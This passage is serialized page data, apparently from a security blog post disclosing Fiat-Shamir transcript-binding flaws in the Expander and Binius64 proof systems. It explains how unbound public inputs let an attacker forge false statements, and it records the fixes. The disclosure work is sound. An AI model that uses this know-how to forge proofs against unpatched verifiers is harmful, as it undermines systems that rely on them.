":41,"props":121332,"children":121334},{"className":121333},[4033],[121335],{"type":23,"tag":41,"props":121336,"children":121338},{"className":121337},[4038],[121339],{"type":23,"tag":41,"props":121340,"children":121342},{"className":121341,"style":112000},[4043],[121343,121355],{"type":23,"tag":41,"props":121344,"children":121345},{"style":111931},[121346,121350],{"type":23,"tag":41,"props":121347,"children":121349},{"className":121348,"style":111936},[4052],[],{"type":23,"tag":41,"props":121351,"children":121353},{"className":121352,"style":92765},[4012,21574],[121354],{"type":28,"value":93584},{"type":23,"tag":41,"props":121356,"children":121357},{"style":111931},[121358,121362],{"type":23,"tag":41,"props":121359,"children":121361},{"className":121360,"style":111936},[4052],[],{"type":23,"tag":41,"props":121363,"children":121365},{"className":121364,"style":112024},[111954],[121366],{"type":23,"tag":41,"props":121367,"children":121369},{"className":121368,"style":112030},[112029],[121370],{"type":23,"tag":34267,"props":121371,"children":121372},{"xmlns":112034,"width":112035,"height":112036,"style":112037,"viewBox":112038,"preserveAspectRatio":112039},[121373],{"type":23,"tag":112042,"props":121374,"children":121375},{"d":112044},[],{"type":23,"tag":41,"props":121377,"children":121379},{"className":121378},[21725],[121380],{"type":28,"value":2678},{"type":23,"tag":24,"props":121382,"children":121383},{},[121384,121385,121454,121456,121461,121463,121468],{"type":28,"value":115601},{"type":23,"tag":37,"props":121386,"children":121388},{"className":121387},[3984,3985],[121389],{"type":23,"tag":41,"props":121390,"children":121392},{"className":121391},[3990],[121393],{"type":23,"tag":41,"props":121394,"children":121396},{"className":121395,"ariaHidden":3996},[3995],[121397],{"type":23,"tag":41,"props":121398,"children":121400},{"className":121399},[4001],[121401,121405],{"type":23,"tag":41,"props":121402,"children":121404},{"className":121403,"style":112000},[4006],[],{"type":23,"tag":41,"props":121406,"children":121408},{"className":121407},[4012,111914],[121409],{"type":23,"tag":41,"props":121410,"children":121412},{"className":121411},[4033],[121413],{"type":23,"tag":41,"props":121414,"children":121416},{"className":121415},[4038],[121417],{"type":23,"tag":41,"props":121418,"children":121420},{"className":121419,"style":112000},[4043],[121421,121433],{"type":23,"tag":41,"props":121422,"children":121423},{"style":111931},[121424,121428],{"type":23,"tag":41,"props":121425,"children":121427},{"className":121426,"style":111936},[4052],[],{"type":23,"tag":41,"props":121429,"children":121431},{"className":121430,"style":92765},[4012,21574],[121432],{"type":28,"value":93584},{"type":23,"tag":41,"props":121434,"children":121435},{"style":111931},[121436,121440],{"type":23,"tag":41,"props":121437,"children":121439},{"className":121438,"style":111936},[4052],[],{"type":23,"tag":41,"props":121441,"children":121443},{"className":121442,"style":112024},[111954],[121444],{"type":23,"tag":41,"props":121445,"children":121447},{"className":121446,"style":112030},[112029],[121448],{"type":23,"tag":34267,"props":121449,"children":121450},{"xmlns":112034,"width":112035,"height":112036,"style":112037,"viewBox":112038,"preserveAspectRatio":112039},[121451],{"type":23,"tag":112042,"props":121452,"children":121453},{"d":112044},[],{"type":28,"value":121455}," contains the challenges. Since challenges are derived before the statement data is bound, they are independent of ",{"type":23,"tag":37,"props":121457,"children":121459},{"className":121458},[],[121460],{"type":28,"value":121045},{"type":28,"value":121462},". This lets an attacker choose an arbitrary false statement (e.g., a forged output) and then solve the induced linear constraints for a modified ",{"type":23,"tag":37,"props":121464,"children":121466},{"className":121465},[],[121467],{"type":28,"value":121045},{"type":28,"value":121469}," that makes the verifier's check pass.",{"type":23,"tag":24,"props":121471,"children":121472},{},[121473,121477,121479,121486,121487,121490,121497],{"type":23,"tag":510,"props":121474,"children":121475},{},[121476],{"type":28,"value":116475},{"type":28,"value":121478}," Fixed on 21st January 2026 via ",{"type":23,"tag":458,"props":121480,"children":121483},{"href":121481,"rel":121482},"https://github.com/PolyhedraZK/Expander/commit/4a8c2be03535194c1f6b48a93ad2f5480649f7c2",[462],[121484],{"type":28,"value":121485},"commit 4a8c2be",{"type":28,"value":6456},{"type":23,"tag":30962,"props":121488,"children":121489},{},[],{"type":23,"tag":458,"props":121491,"children":121494},{"href":121492,"rel":121493},"https://blog.polyhedra.network/expander-bug-bounty/",[462],[121495],{"type":28,"value":121496},"Claimed 500k Bug bounty",{"type":28,"value":121498}," award pending",{"type":23,"tag":442,"props":121500,"children":121501},{},[],{"type":23,"tag":546,"props":121503,"children":121505},{"id":121504},"binius64",[121506],{"type":28,"value":107608},{"type":23,"tag":24,"props":121508,"children":121509},{},[121510,121512,121639],{"type":28,"value":121511},"Binius64 is a proof system optimized for binary fields, designed to be efficient on 64-bit CPUs. Binius uses ",{"type":23,"tag":37,"props":121513,"children":121515},{"className":121514},[3984,3985],[121516],{"type":23,"tag":41,"props":121517,"children":121519},{"className":121518},[3990],[121520],{"type":23,"tag":41,"props":121521,"children":121523},{"className":121522,"ariaHidden":3996},[3995],[121524],{"type":23,"tag":41,"props":121525,"children":121527},{"className":121526},[4001],[121528,121533],{"type":23,"tag":41,"props":121529,"children":121532},{"className":121530,"style":121531},[4006],"height:0.8665em;vertical-align:-0.1776em;",[],{"type":23,"tag":41,"props":121534,"children":121536},{"className":121535},[4012],[121537,121544],{"type":23,"tag":41,"props":121538,"children":121541},{"className":121539},[4012,121540],"mathbb",[121542],{"type":28,"value":121543},"F",{"type":23,"tag":41,"props":121545,"children":121547},{"className":121546},[4028],[121548],{"type":23,"tag":41,"props":121549,"children":121551},{"className":121550},[4033,21628],[121552,121627],{"type":23,"tag":41,"props":121553,"children":121555},{"className":121554},[4038],[121556,121622],{"type":23,"tag":41,"props":121557,"children":121559},{"className":121558,"style":112097},[4043],[121560],{"type":23,"tag":41,"props":121561,"children":121563},{"style":121562},"top:-2.5224em;margin-left:0em;margin-right:0.05em;",[121564,121568],{"type":23,"tag":41,"props":121565,"children":121567},{"className":121566,"style":4053},[4052],[],{"type":23,"tag":41,"props":121569,"children":121571},{"className":121570},[4058,4059,4060,4061],[121572],{"type":23,"tag":41,"props":121573,"children":121575},{"className":121574},[4012,4061],[121576],{"type":23,"tag":41,"props":121577,"children":121579},{"className":121578},[4012,4061],[121580,121585],{"type":23,"tag":41,"props":121581,"children":121583},{"className":121582},[4012,4061],[121584],{"type":28,"value":3123},{"type":23,"tag":41,"props":121586,"children":121588},{"className":121587},[4028],[121589],{"type":23,"tag":41,"props":121590,"children":121592},{"className":121591},[4033],[121593],{"type":23,"tag":41,"props":121594,"children":121596},{"className":121595},[4038],[121597],{"type":23,"tag":41,"props":121598,"children":121601},{"className":121599,"style":121600},[4043],"height:0.7463em;",[121602],{"type":23,"tag":41,"props":121603,"children":121604},{"style":112222},[121605,121609],{"type":23,"tag":41,"props":121606,"children":121608},{"className":121607,"style":108625},[4052],[],{"type":23,"tag":41,"props":121610,"children":121612},{"className":121611},[4058,108630,108631,4061],[121613],{"type":23,"tag":41,"props":121614,"children":121616},{"className":121615},[4012,4061],[121617],{"type":23,"tag":41,"props":121618,"children":121620},{"className":121619},[4012,4061],[121621],{"type":28,"value":29843},{"type":23,"tag":41,"props":121623,"children":121625},{"className":121624},[21731],[121626],{"type":28,"value":21734},{"type":23,"tag":41,"props":121628,"children":121630},{"className":121629},[4038],[121631],{"type":23,"tag":41,"props":121632,"children":121635},{"className":121633,"style":121634},[4043],"height:0.1776em;",[121636],{"type":23,"tag":41,"props":121637,"children":121638},{},[],{"type":28,"value":121640}," (or variants thereof), where addition is XOR. This makes certain operations very fast.",{"type":23,"tag":24,"props":121642,"children":121643},{},[121644,121646,121651],{"type":28,"value":121645},"One of Binius's key features is its specialized protocols for bitwise operations. The ",{"type":23,"tag":510,"props":121647,"children":121648},{},[121649],{"type":28,"value":121650},"Shift Protocol",{"type":28,"value":121652}," efficiently handles bit-shifts and rotations (essential for hash functions like SHA-256) without the massive overhead typical in other proof systems.",{"type":23,"tag":24,"props":121654,"children":121655},{},[121656],{"type":23,"tag":510,"props":121657,"children":121658},{},[121659],{"type":28,"value":121077},{"type":23,"tag":24,"props":121661,"children":121662},{},[121663],{"type":28,"value":121664},"The verifier receives the public witness (program inputs/outputs) as a separate parameter:",{"type":23,"tag":31,"props":121666,"children":121668},{"code":121667,"language":2981,"meta":7,"className":2982,"style":7},"pub fn verify\u003CF, C>(\n    constraint_system: &ConstraintSystem,\n    public: &[Word],    // \u003C- NEVER ABSORBED\n    // ...\n) -> Result\u003CVerifyOutput\u003CF>, Error>\n",[121669],{"type":23,"tag":37,"props":121670,"children":121671},{"__ignoreMap":7},[121672,121707,121732,121766,121774],{"type":23,"tag":41,"props":121673,"children":121674},{"class":43,"line":44},[121675,121679,121683,121687,121691,121695,121699,121703],{"type":23,"tag":41,"props":121676,"children":121677},{"style":64},[121678],{"type":28,"value":13685},{"type":23,"tag":41,"props":121680,"children":121681},{"style":64},[121682],{"type":28,"value":13690},{"type":23,"tag":41,"props":121684,"children":121685},{"style":114},[121686],{"type":28,"value":8165},{"type":23,"tag":41,"props":121688,"children":121689},{"style":70},[121690],{"type":28,"value":1012},{"type":23,"tag":41,"props":121692,"children":121693},{"style":94},[121694],{"type":28,"value":121543},{"type":23,"tag":41,"props":121696,"children":121697},{"style":70},[121698],{"type":28,"value":970},{"type":23,"tag":41,"props":121700,"children":121701},{"style":94},[121702],{"type":28,"value":115994},{"type":23,"tag":41,"props":121704,"children":121705},{"style":70},[121706],{"type":28,"value":6587},{"type":23,"tag":41,"props":121708,"children":121709},{"class":43,"line":54},[121710,121715,121719,121723,121728],{"type":23,"tag":41,"props":121711,"children":121712},{"style":858},[121713],{"type":28,"value":121714},"    constraint_system",{"type":23,"tag":41,"props":121716,"children":121717},{"style":170},[121718],{"type":28,"value":1474},{"type":23,"tag":41,"props":121720,"children":121721},{"style":170},[121722],{"type":28,"value":7140},{"type":23,"tag":41,"props":121724,"children":121725},{"style":94},[121726],{"type":28,"value":121727},"ConstraintSystem",{"type":23,"tag":41,"props":121729,"children":121730},{"style":70},[121731],{"type":28,"value":3506},{"type":23,"tag":41,"props":121733,"children":121734},{"class":43,"line":76},[121735,121739,121743,121747,121751,121756,121761],{"type":23,"tag":41,"props":121736,"children":121737},{"style":858},[121738],{"type":28,"value":7521},{"type":23,"tag":41,"props":121740,"children":121741},{"style":170},[121742],{"type":28,"value":1474},{"type":23,"tag":41,"props":121744,"children":121745},{"style":170},[121746],{"type":28,"value":7140},{"type":23,"tag":41,"props":121748,"children":121749},{"style":70},[121750],{"type":28,"value":312},{"type":23,"tag":41,"props":121752,"children":121753},{"style":94},[121754],{"type":28,"value":121755},"Word",{"type":23,"tag":41,"props":121757,"children":121758},{"style":70},[121759],{"type":28,"value":121760},"],    ",{"type":23,"tag":41,"props":121762,"children":121763},{"style":48},[121764],{"type":28,"value":121765},"// \u003C- NEVER ABSORBED\n",{"type":23,"tag":41,"props":121767,"children":121768},{"class":43,"line":85},[121769],{"type":23,"tag":41,"props":121770,"children":121771},{"style":48},[121772],{"type":28,"value":121773},"    // ...\n",{"type":23,"tag":41,"props":121775,"children":121776},{"class":43,"line":105},[121777,121781,121785,121789,121793,121798,121802,121806,121810,121814],{"type":23,"tag":41,"props":121778,"children":121779},{"style":70},[121780],{"type":28,"value":866},{"type":23,"tag":41,"props":121782,"children":121783},{"style":170},[121784],{"type":28,"value":2453},{"type":23,"tag":41,"props":121786,"children":121787},{"style":94},[121788],{"type":28,"value":13756},{"type":23,"tag":41,"props":121790,"children":121791},{"style":70},[121792],{"type":28,"value":1012},{"type":23,"tag":41,"props":121794,"children":121795},{"style":94},[121796],{"type":28,"value":121797},"VerifyOutput",{"type":23,"tag":41,"props":121799,"children":121800},{"style":70},[121801],{"type":28,"value":1012},{"type":23,"tag":41,"props":121803,"children":121804},{"style":94},[121805],{"type":28,"value":121543},{"type":23,"tag":41,"props":121807,"children":121808},{"style":70},[121809],{"type":28,"value":6629},{"type":23,"tag":41,"props":121811,"children":121812},{"style":94},[121813],{"type":28,"value":37393},{"type":23,"tag":41,"props":121815,"children":121816},{"style":70},[121817],{"type":28,"value":773},{"type":23,"tag":24,"props":121819,"children":121820},{},[121821,121823,121829,121830,121836,121838,121842],{"type":28,"value":121822},"In the shift protocol, challenges ",{"type":23,"tag":37,"props":121824,"children":121826},{"className":121825},[],[121827],{"type":28,"value":121828},"r_j",{"type":28,"value":1361},{"type":23,"tag":37,"props":121831,"children":121833},{"className":121832},[],[121834],{"type":28,"value":121835},"inout_eval_point",{"type":28,"value":121837}," are sampled ",{"type":23,"tag":510,"props":121839,"children":121840},{},[121841],{"type":28,"value":104309},{"type":28,"value":121843}," the public witness is bound.",{"type":23,"tag":24,"props":121845,"children":121846},{},[121847],{"type":23,"tag":510,"props":121848,"children":121849},{},[121850],{"type":28,"value":115197},{"type":23,"tag":24,"props":121852,"children":121853},{},[121854],{"type":23,"tag":3918,"props":121855,"children":121858},{"alt":121856,"src":121857},"10_binius","/posts/zkvms-unfaithful-claims/10_binius.svg",[],{"type":23,"tag":24,"props":121860,"children":121861},{},[121862],{"type":28,"value":121863},"During verification",{"type":23,"tag":5436,"props":121865,"children":121866},{},[121867,121887,121899,121918],{"type":23,"tag":421,"props":121868,"children":121869},{},[121870,121872,121877,121879,121885],{"type":28,"value":121871},"Sumcheck produces challenge points ",{"type":23,"tag":37,"props":121873,"children":121875},{"className":121874},[],[121876],{"type":28,"value":121828},{"type":28,"value":121878}," (bit indices) and ",{"type":23,"tag":37,"props":121880,"children":121882},{"className":121881},[],[121883],{"type":28,"value":121884},"r_s",{"type":28,"value":121886}," (shift indices)",{"type":23,"tag":421,"props":121888,"children":121889},{},[121890,121892,121897],{"type":28,"value":121891},"Verifier samples ",{"type":23,"tag":37,"props":121893,"children":121895},{"className":121894},[],[121896],{"type":28,"value":121835},{"type":28,"value":121898}," from transcript",{"type":23,"tag":421,"props":121900,"children":121901},{},[121902,121904,121910,121912,121917],{"type":28,"value":121903},"Verifier computes ",{"type":23,"tag":37,"props":121905,"children":121907},{"className":121906},[],[121908],{"type":28,"value":121909},"public_eval = MLE(public, r_j, inout_eval_point)",{"type":28,"value":121911}," using the unbound ",{"type":23,"tag":37,"props":121913,"children":121915},{"className":121914},[],[121916],{"type":28,"value":127},{"type":28,"value":18121},{"type":23,"tag":421,"props":121919,"children":121920},{},[121921,121922,121928],{"type":28,"value":16601},{"type":23,"tag":37,"props":121923,"children":121925},{"className":121924},[],[121926],{"type":28,"value":121927},"public_eval",{"type":28,"value":121929}," feeds into subsequent verification equations",{"type":23,"tag":24,"props":121931,"children":121932},{},[121933],{"type":28,"value":121934},"The MLE evaluation is linear in the public witness bits:",{"type":23,"tag":24,"props":121936,"children":121937},{},[121938],{"type":23,"tag":37,"props":121939,"children":121941},{"className":121940},[3984,3985],[121942],{"type":23,"tag":41,"props":121943,"children":121945},{"className":121944},[3990],[121946],{"type":23,"tag":41,"props":121947,"children":121949},{"className":121948,"ariaHidden":3996},[3995],[121950,121994,122134,122246],{"type":23,"tag":41,"props":121951,"children":121953},{"className":121952},[4001],[121954,121958,121967,121972,121981,121985,121990],{"type":23,"tag":41,"props":121955,"children":121957},{"className":121956,"style":94178},[4006],[],{"type":23,"tag":41,"props":121959,"children":121961},{"className":121960},[4012,28],[121962],{"type":23,"tag":41,"props":121963,"children":121965},{"className":121964},[4012],[121966],{"type":28,"value":127},{"type":23,"tag":41,"props":121968,"children":121970},{"className":121969,"style":92765},[4012],[121971],{"type":28,"value":3084},{"type":23,"tag":41,"props":121973,"children":121975},{"className":121974},[4012,28],[121976],{"type":23,"tag":41,"props":121977,"children":121979},{"className":121978},[4012],[121980],{"type":28,"value":37543},{"type":23,"tag":41,"props":121982,"children":121984},{"className":121983,"style":4190},[4092],[],{"type":23,"tag":41,"props":121986,"children":121988},{"className":121987},[4195],[121989],{"type":28,"value":2381},{"type":23,"tag":41,"props":121991,"children":121993},{"className":121992,"style":4190},[4092],[],{"type":23,"tag":41,"props":121995,"children":121997},{"className":121996},[4001],[121998,122002,122074,122078,122091,122096,122101,122106,122111,122116,122121,122125,122130],{"type":23,"tag":41,"props":121999,"children":122001},{"className":122000,"style":118527},[4006],[],{"type":23,"tag":41,"props":122003,"children":122005},{"className":122004},[21610],[122006,122011],{"type":23,"tag":41,"props":122007,"children":122009},{"className":122008,"style":21617},[21610,21615,21616],[122010],{"type":28,"value":108560},{"type":23,"tag":41,"props":122012,"children":122014},{"className":122013},[4028],[122015],{"type":23,"tag":41,"props":122016,"children":122018},{"className":122017},[4033,21628],[122019,122063],{"type":23,"tag":41,"props":122020,"children":122022},{"className":122021},[4038],[122023,122058],{"type":23,"tag":41,"props":122024,"children":122026},{"className":122025,"style":113437},[4043],[122027],{"type":23,"tag":41,"props":122028,"children":122029},{"style":21641},[122030,122034],{"type":23,"tag":41,"props":122031,"children":122033},{"className":122032,"style":4053},[4052],[],{"type":23,"tag":41,"props":122035,"children":122037},{"className":122036},[4058,4059,4060,4061],[122038],{"type":23,"tag":41,"props":122039,"children":122041},{"className":122040},[4012,4061],[122042,122048,122053],{"type":23,"tag":41,"props":122043,"children":122046},{"className":122044,"style":122045},[4012,21574,4061],"margin-right:0.02691em;",[122047],{"type":28,"value":49566},{"type":23,"tag":41,"props":122049,"children":122051},{"className":122050},[4124,4061],[122052],{"type":28,"value":4127},{"type":23,"tag":41,"props":122054,"children":122056},{"className":122055},[4012,21574,4061],[122057],{"type":28,"value":3222},{"type":23,"tag":41,"props":122059,"children":122061},{"className":122060},[21731],[122062],{"type":28,"value":21734},{"type":23,"tag":41,"props":122064,"children":122066},{"className":122065},[4038],[122067],{"type":23,"tag":41,"props":122068,"children":122070},{"className":122069,"style":114003},[4043],[122071],{"type":23,"tag":41,"props":122072,"children":122073},{},[],{"type":23,"tag":41,"props":122075,"children":122077},{"className":122076,"style":4131},[4092],[],{"type":23,"tag":41,"props":122079,"children":122081},{"className":122080},[4012],[122082],{"type":23,"tag":41,"props":122083,"children":122085},{"className":122084},[4012,28],[122086],{"type":23,"tag":41,"props":122087,"children":122089},{"className":122088},[4012],[122090],{"type":28,"value":127},{"type":23,"tag":41,"props":122092,"children":122094},{"className":122093},[21703],[122095],{"type":28,"value":312},{"type":23,"tag":41,"props":122097,"children":122099},{"className":122098,"style":122045},[4012,21574],[122100],{"type":28,"value":49566},{"type":23,"tag":41,"props":122102,"children":122104},{"className":122103},[21725],[122105],{"type":28,"value":15402},{"type":23,"tag":41,"props":122107,"children":122109},{"className":122108},[21703],[122110],{"type":28,"value":312},{"type":23,"tag":41,"props":122112,"children":122114},{"className":122113},[4012,21574],[122115],{"type":28,"value":3222},{"type":23,"tag":41,"props":122117,"children":122119},{"className":122118},[21725],[122120],{"type":28,"value":15402},{"type":23,"tag":41,"props":122122,"children":122124},{"className":122123,"style":4093},[4092],[],{"type":23,"tag":41,"props":122126,"children":122128},{"className":122127},[4098],[122129],{"type":28,"value":111027},{"type":23,"tag":41,"props":122131,"children":122133},{"className":122132,"style":4093},[4092],[],{"type":23,"tag":41,"props":122135,"children":122137},{"className":122136},[4001],[122138,122143,122152,122157,122162,122167,122171,122228,122233,122237,122242],{"type":23,"tag":41,"props":122139,"children":122142},{"className":122140,"style":122141},[4006],"height:1.0361em;vertical-align:-0.2861em;",[],{"type":23,"tag":41,"props":122144,"children":122146},{"className":122145},[4012,28],[122147],{"type":23,"tag":41,"props":122148,"children":122150},{"className":122149},[4012],[122151],{"type":28,"value":112354},{"type":23,"tag":41,"props":122153,"children":122155},{"className":122154},[21703],[122156],{"type":28,"value":1737},{"type":23,"tag":41,"props":122158,"children":122160},{"className":122159},[4012,21574],[122161],{"type":28,"value":3222},{"type":23,"tag":41,"props":122163,"children":122165},{"className":122164},[4124],[122166],{"type":28,"value":4127},{"type":23,"tag":41,"props":122168,"children":122170},{"className":122169,"style":4131},[4092],[],{"type":23,"tag":41,"props":122172,"children":122174},{"className":122173},[4012],[122175,122180],{"type":23,"tag":41,"props":122176,"children":122178},{"className":122177,"style":92765},[4012,21574],[122179],{"type":28,"value":93584},{"type":23,"tag":41,"props":122181,"children":122183},{"className":122182},[4028],[122184],{"type":23,"tag":41,"props":122185,"children":122187},{"className":122186},[4033,21628],[122188,122217],{"type":23,"tag":41,"props":122189,"children":122191},{"className":122190},[4038],[122192,122212],{"type":23,"tag":41,"props":122193,"children":122195},{"className":122194,"style":93294},[4043],[122196],{"type":23,"tag":41,"props":122197,"children":122198},{"style":109764},[122199,122203],{"type":23,"tag":41,"props":122200,"children":122202},{"className":122201,"style":4053},[4052],[],{"type":23,"tag":41,"props":122204,"children":122206},{"className":122205},[4058,4059,4060,4061],[122207],{"type":23,"tag":41,"props":122208,"children":122210},{"className":122209,"style":113988},[4012,21574,4061],[122211],{"type":28,"value":8654},{"type":23,"tag":41,"props":122213,"children":122215},{"className":122214},[21731],[122216],{"type":28,"value":21734},{"type":23,"tag":41,"props":122218,"children":122220},{"className":122219},[4038],[122221],{"type":23,"tag":41,"props":122222,"children":122224},{"className":122223,"style":118675},[4043],[122225],{"type":23,"tag":41,"props":122226,"children":122227},{},[],{"type":23,"tag":41,"props":122229,"children":122231},{"className":122230},[21725],[122232],{"type":28,"value":2678},{"type":23,"tag":41,"props":122234,"children":122236},{"className":122235,"style":4093},[4092],[],{"type":23,"tag":41,"props":122238,"children":122240},{"className":122239},[4098],[122241],{"type":28,"value":111027},{"type":23,"tag":41,"props":122243,"children":122245},{"className":122244,"style":4093},[4092],[],{"type":23,"tag":41,"props":122247,"children":122249},{"className":122248},[4001],[122250,122254,122263,122268,122273,122278,122282,122292,122297,122306,122311,122320],{"type":23,"tag":41,"props":122251,"children":122253},{"className":122252,"style":92707},[4006],[],{"type":23,"tag":41,"props":122255,"children":122257},{"className":122256},[4012,28],[122258],{"type":23,"tag":41,"props":122259,"children":122261},{"className":122260},[4012],[122262],{"type":28,"value":112354},{"type":23,"tag":41,"props":122264,"children":122266},{"className":122265},[21703],[122267],{"type":28,"value":1737},{"type":23,"tag":41,"props":122269,"children":122271},{"className":122270,"style":122045},[4012,21574],[122272],{"type":28,"value":49566},{"type":23,"tag":41,"props":122274,"children":122276},{"className":122275},[4124],[122277],{"type":28,"value":4127},{"type":23,"tag":41,"props":122279,"children":122281},{"className":122280,"style":4131},[4092],[],{"type":23,"tag":41,"props":122283,"children":122285},{"className":122284},[4012,28],[122286],{"type":23,"tag":41,"props":122287,"children":122289},{"className":122288},[4012],[122290],{"type":28,"value":122291},"inout",{"type":23,"tag":41,"props":122293,"children":122295},{"className":122294,"style":92765},[4012],[122296],{"type":28,"value":3084},{"type":23,"tag":41,"props":122298,"children":122300},{"className":122299},[4012,28],[122301],{"type":23,"tag":41,"props":122302,"children":122304},{"className":122303},[4012],[122305],{"type":28,"value":37543},{"type":23,"tag":41,"props":122307,"children":122309},{"className":122308,"style":92765},[4012],[122310],{"type":28,"value":3084},{"type":23,"tag":41,"props":122312,"children":122314},{"className":122313},[4012,28],[122315],{"type":23,"tag":41,"props":122316,"children":122318},{"className":122317},[4012],[122319],{"type":28,"value":117550},{"type":23,"tag":41,"props":122321,"children":122323},{"className":122322},[21725],[122324],{"type":28,"value":2678},{"type":23,"tag":24,"props":122326,"children":122327},{},[122328,122330,122335,122337,122410],{"type":28,"value":122329},"With challenges fixed (independent of ",{"type":23,"tag":37,"props":122331,"children":122333},{"className":122332},[],[122334],{"type":28,"value":127},{"type":28,"value":122336},"), an attacker can find an alternate witness ",{"type":23,"tag":37,"props":122338,"children":122340},{"className":122339},[3984,3985],[122341],{"type":23,"tag":41,"props":122342,"children":122344},{"className":122343},[3990],[122345],{"type":23,"tag":41,"props":122346,"children":122348},{"className":122347,"ariaHidden":3996},[3995],[122349],{"type":23,"tag":41,"props":122350,"children":122352},{"className":122351},[4001],[122353,122358],{"type":23,"tag":41,"props":122354,"children":122357},{"className":122355,"style":122356},[4006],"height:1.0307em;vertical-align:-0.1944em;",[],{"type":23,"tag":41,"props":122359,"children":122361},{"className":122360},[4012],[122362,122371],{"type":23,"tag":41,"props":122363,"children":122365},{"className":122364},[4012,28],[122366],{"type":23,"tag":41,"props":122367,"children":122369},{"className":122368},[4012],[122370],{"type":28,"value":127},{"type":23,"tag":41,"props":122372,"children":122374},{"className":122373},[4028],[122375],{"type":23,"tag":41,"props":122376,"children":122378},{"className":122377},[4033],[122379],{"type":23,"tag":41,"props":122380,"children":122382},{"className":122381},[4038],[122383],{"type":23,"tag":41,"props":122384,"children":122387},{"className":122385,"style":122386},[4043],"height:0.8362em;",[122388],{"type":23,"tag":41,"props":122389,"children":122391},{"style":122390},"top:-3.1473em;margin-right:0.05em;",[122392,122396],{"type":23,"tag":41,"props":122393,"children":122395},{"className":122394,"style":4053},[4052],[],{"type":23,"tag":41,"props":122397,"children":122399},{"className":122398},[4058,4059,4060,4061],[122400],{"type":23,"tag":41,"props":122401,"children":122403},{"className":122402},[4012,4061],[122404],{"type":23,"tag":41,"props":122405,"children":122407},{"className":122406},[4012,4061],[122408],{"type":28,"value":122409},"′",{"type":28,"value":122411}," that produces the same evaluation. This is a single 128-bit linear constraint over hundreds of bits, yielding a single linear equation in a high-dimensional binary witness space, which is typically underconstrained and admits many alternative witnesses under common parameterizations.",{"type":23,"tag":24,"props":122413,"children":122414},{},[122415,122419,122421],{"type":23,"tag":510,"props":122416,"children":122417},{},[122418],{"type":28,"value":116475},{"type":28,"value":122420}," Fixed on December 29, 2025 via ",{"type":23,"tag":458,"props":122422,"children":122425},{"href":122423,"rel":122424},"https://github.com/binius-zk/binius64/pull/1355/commits/86a515f0632d2acdf547ed82780dfe7f9f39358f",[462],[122426],{"type":28,"value":122427},"commit 86a515f",{"type":23,"tag":442,"props":122429,"children":122430},{},[],{"type":23,"tag":446,"props":122432,"children":122434},{"id":122433},"why-does-this-keep-happening",[122435],{"type":28,"value":122436},"Why Does This Keep Happening?",{"type":23,"tag":24,"props":122438,"children":122439},{},[122440],{"type":28,"value":122441},"Given that we found the same bug class in six independent implementations, at some point we have to ask whether there is a systemic issue making this mistake so common.",{"type":23,"tag":546,"props":122443,"children":122445},{"id":122444},"academic-papers-dont-specify-fiat-shamir",[122446],{"type":28,"value":122447},"Academic Papers Don't Specify Fiat-Shamir",{"type":23,"tag":24,"props":122449,"children":122450},{},[122451,122453,122458,122460,122485,122487,122490,122492,122517,122519,122546],{"type":28,"value":122452},"Academic papers usually describe ",{"type":23,"tag":2913,"props":122454,"children":122455},{},[122456],{"type":28,"value":122457},"interactive",{"type":28,"value":122459}," protocols: \"Prover sends ",{"type":23,"tag":37,"props":122461,"children":122463},{"className":122462},[3984,3985],[122464],{"type":23,"tag":41,"props":122465,"children":122467},{"className":122466},[3990],[122468],{"type":23,"tag":41,"props":122469,"children":122471},{"className":122470,"ariaHidden":3996},[3995],[122472],{"type":23,"tag":41,"props":122473,"children":122475},{"className":122474},[4001],[122476,122480],{"type":23,"tag":41,"props":122477,"children":122479},{"className":122478,"style":21569},[4006],[],{"type":23,"tag":41,"props":122481,"children":122483},{"className":122482,"style":22106},[4012,21574],[122484],{"type":28,"value":115994},{"type":28,"value":122486},". Verifier sends",{"type":23,"tag":30962,"props":122488,"children":122489},{},[],{"type":28,"value":122491},"random ",{"type":23,"tag":37,"props":122493,"children":122495},{"className":122494},[3984,3985],[122496],{"type":23,"tag":41,"props":122497,"children":122499},{"className":122498},[3990],[122500],{"type":23,"tag":41,"props":122501,"children":122503},{"className":122502,"ariaHidden":3996},[3995],[122504],{"type":23,"tag":41,"props":122505,"children":122507},{"className":122506},[4001],[122508,122512],{"type":23,"tag":41,"props":122509,"children":122511},{"className":122510,"style":110606},[4006],[],{"type":23,"tag":41,"props":122513,"children":122515},{"className":122514,"style":92765},[4012,21574],[122516],{"type":28,"value":93584},{"type":28,"value":122518},". Prover sends ",{"type":23,"tag":37,"props":122520,"children":122522},{"className":122521},[3984,3985],[122523],{"type":23,"tag":41,"props":122524,"children":122526},{"className":122525},[3990],[122527],{"type":23,"tag":41,"props":122528,"children":122530},{"className":122529,"ariaHidden":3996},[3995],[122531],{"type":23,"tag":41,"props":122532,"children":122534},{"className":122533},[4001],[122535,122539],{"type":23,"tag":41,"props":122536,"children":122538},{"className":122537,"style":21569},[4006],[],{"type":23,"tag":41,"props":122540,"children":122543},{"className":122541,"style":122542},[4012,21574],"margin-right:0.00773em;",[122544],{"type":28,"value":122545},"R",{"type":28,"value":122547},".\"",{"type":23,"tag":24,"props":122549,"children":122550},{},[122551,122553,122578,122580,122605],{"type":28,"value":122552},"They often omit the necessary steps to make the protocol non-interactive: \"Hash ",{"type":23,"tag":37,"props":122554,"children":122556},{"className":122555},[3984,3985],[122557],{"type":23,"tag":41,"props":122558,"children":122560},{"className":122559},[3990],[122561],{"type":23,"tag":41,"props":122562,"children":122564},{"className":122563,"ariaHidden":3996},[3995],[122565],{"type":23,"tag":41,"props":122566,"children":122568},{"className":122567},[4001],[122569,122573],{"type":23,"tag":41,"props":122570,"children":122572},{"className":122571,"style":21569},[4006],[],{"type":23,"tag":41,"props":122574,"children":122576},{"className":122575,"style":22106},[4012,21574],[122577],{"type":28,"value":115994},{"type":28,"value":122579}," before sampling ",{"type":23,"tag":37,"props":122581,"children":122583},{"className":122582},[3984,3985],[122584],{"type":23,"tag":41,"props":122585,"children":122587},{"className":122586},[3990],[122588],{"type":23,"tag":41,"props":122589,"children":122591},{"className":122590,"ariaHidden":3996},[3995],[122592],{"type":23,"tag":41,"props":122593,"children":122595},{"className":122594},[4001],[122596,122600],{"type":23,"tag":41,"props":122597,"children":122599},{"className":122598,"style":110606},[4006],[],{"type":23,"tag":41,"props":122601,"children":122603},{"className":122602,"style":92765},[4012,21574],[122604],{"type":28,"value":93584},{"type":28,"value":122606},". Also hash the public statement. Also hash intermediate values that affect later equations.\"",{"type":23,"tag":24,"props":122608,"children":122609},{},[122610],{"type":28,"value":122611},"Security proofs thus also analyze the interactive protocols where binding is implicit. The responsibility of determining what to include in the transcript therefore falls on the 